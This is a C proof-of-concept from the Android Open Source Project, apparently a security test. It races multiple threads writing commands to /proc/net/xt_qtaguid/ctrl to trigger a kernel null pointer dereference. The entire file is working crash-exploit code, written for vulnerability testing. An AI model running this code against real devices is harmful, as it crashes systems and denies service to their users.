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137 lines
2.8 KiB
137 lines
2.8 KiB
/**
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* Copyright (C) 2018 The Android Open Source Project
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*
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* Licensed under the Apache License, Version 2.0 (the "License");
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* you may not use this file except in compliance with the License.
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* You may obtain a copy of the License at
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*
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* http://www.apache.org/licenses/LICENSE-2.0
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*
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* Unless required by applicable law or agreed to in writing, software
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* distributed under the License is distributed on an "AS IS" BASIS,
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* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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* See the License for the specific language governing permissions and
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* limitations under the License.
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*/
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#define _GNU_SOURCE
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#include <errno.h>
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#include <fcntl.h>
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#include <pthread.h>
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#include <stdio.h>
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#include <string.h>
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#include <sys/mman.h>
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#include <sys/socket.h>
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#include <sys/stat.h>
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#include <sys/time.h>
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#include <sys/types.h>
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#include <unistd.h>
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#define MAX_THREAD 6
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int ctrl_fd;
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static int cmd;
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static int status[MAX_THREAD];
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static int sock_fd;
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void *thread_entry(void *arg) {
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int index, len = 256, ret;
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char buf[256];
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index = (int)(unsigned long)arg;
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memset(buf, 0x0, 256);
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status[index] = 1;
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// cmd =-1 signifies error in thread creation
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while (cmd != 1 && cmd != -1) {
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usleep(5);
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}
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if (cmd != -1) {
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switch (index % 3) {
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case 0:
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len = sprintf(buf, "d %lu", (unsigned long)0);
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break;
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case 2:
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len = sprintf(buf, "t %d", sock_fd);
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break;
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}
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ret = write(ctrl_fd, buf, len);
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}
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status[index] = 2;
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return NULL;
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}
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/*
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*This PoC creates multiple threads to write /proc/net/xt_qtaguid/ctrl device
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*which causes null pointer derefrences in netstat.
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*/
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int main() {
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int fd, retry = 1024;
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int ret, i, loop;
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pthread_t tid[MAX_THREAD];
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fork();
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sock_fd = socket(AF_INET, SOCK_STREAM, 0);
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while (retry--) {
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cmd = 0;
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for (i = 0; i < MAX_THREAD; i++) {
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status[i] = 0;
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}
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fd = open("/dev/xt_qtaguid", O_RDONLY);
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if (fd < 0) {
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return -1;
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}
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ctrl_fd = open("/proc/net/xt_qtaguid/ctrl", O_RDWR);
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if (ctrl_fd < 0) {
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return -1;
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}
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for (i = 0; i < MAX_THREAD; i++) {
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ret =
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pthread_create(&tid[i], NULL, thread_entry, (void *)(unsigned long)i);
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if (ret != 0) {
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cmd = -1;
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close(ctrl_fd);
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}
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}
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loop = 1;
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int count = 0;
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// loop until all threads have status == 1
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while (loop) {
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loop = 0;
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count = count + 1;
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for (i = 0; i < MAX_THREAD; i++)
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if (status[i] != 1) {
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loop = 1;
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break;
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}
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if (loop) {
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usleep(5);
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}
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}
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cmd = 1;
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loop = 1;
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while (loop) {
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loop = 0;
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count = count + 1;
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for (i = 0; i < MAX_THREAD; i++)
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if (status[i] != 2) {
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loop = 1;
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break;
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}
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if (loop) {
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usleep(5);
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}
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}
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close(fd);
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}
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return 0;
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}
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